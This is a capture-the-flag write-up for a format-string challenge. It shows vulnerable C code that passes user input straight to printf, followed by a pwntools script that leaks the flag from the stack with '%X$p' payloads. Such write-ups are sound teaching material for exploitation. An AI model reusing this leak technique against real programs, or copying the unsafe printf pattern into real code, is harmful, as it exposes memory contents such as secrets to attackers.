#fmt_string
# Understanding the Challenge
We were provided with the source and the compile options:
## Compile Options
`/gcc vuln.c -fno-stack-protector -z execstack -no-pie -o vuln`
## Source
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//gcc vuln.c -fno-stack-protector -z execstack -no-pie -o vuln
void main() {
char building_material[3][10] = { "Wood", "Bricks", "Steel" };
char flag[0x30] = {0};
FILE *fd = NULL;
fd = fopen("flag.txt","r");
fgets(flag, 0x30, fd);
int num = 3;
int choice;
char buf[0x10];
puts("Lets build a house!");
puts(" .-. ________ ");
puts(" |=|/ / \\ ");
puts(" | |_____|_\"\"_| ");
puts(" |_|_[X]_|____| \n");
while(1) {
puts("What do you want to do?");
puts(" [1] Add More material");
puts(" [2] View Material");
puts(" [3] Finish House");
printf("\n > ");
if (fgets(buf, sizeof(buf), stdin) == NULL) {
exit(-1);
}
choice = atoi(buf);
switch(choice) {
case 1:
if (num >= 10)
puts("You have added the max amount of material.");
else {
fgets(building_material[num],sizeof(buf),stdin);
num++;
}
break;
case 2:
printf("\n");
for(int i = 0; i < num; i++) {
printf(building_material[i]);
printf("\n");
}
printf("\n");
break;
case 3:
puts("It looks like we did not have everything we needed. The build was a failure.");
exit(-1);
}
}
}
```
Here we can read in 7 materials and then use the printf to print each item we wrote.
Additionally the flag has already been read onto the stack
# The Vuln
Case 2 shows the printf incorrectly used:
```c
case 2:
printf("\n");
for(int i = 0; i < num; i++) {
printf(building_material[i]);
printf("\n");
}
```
# Solve
We can abuse the format strings to leak data off the stack which is where the flag contents are stored.
This is done with the `%p`.
Specifically choosing a word off the stack with `%X$p`, where `X` is any number.
Its easy enough to just keep rerunning the binary printing 8 bytes off the stack then seeing if its the flag
```python
from pwn import *
import binascii
context.binary = elf = ELF("./vuln")
flag=b""
for x in range(8,10):
io = elf.process()
#gdb.attach(io)
def add_material(x):
io.sendline("1")
io.sendline(x)
def view_material():
io.sendline("2")
payload = "%"+str(x)+"$p"
add_material(payload)
view_material()
io.readuntil(b"Steel\n")
data = binascii.unhexlify(io.readline().strip().lstrip(b"0x").rjust(16,b"0"))[::-1]
flag += data
print(flag)
```
The only weirdish part is `data = binascii.unhexlify(io.readline().strip().lstrip(b"0x").rjust(16,b"0"))[::-1]`
This is just taking the little endian leak and turning it into an ascii string.
Ofcourse, this challenge can also be solved in one run.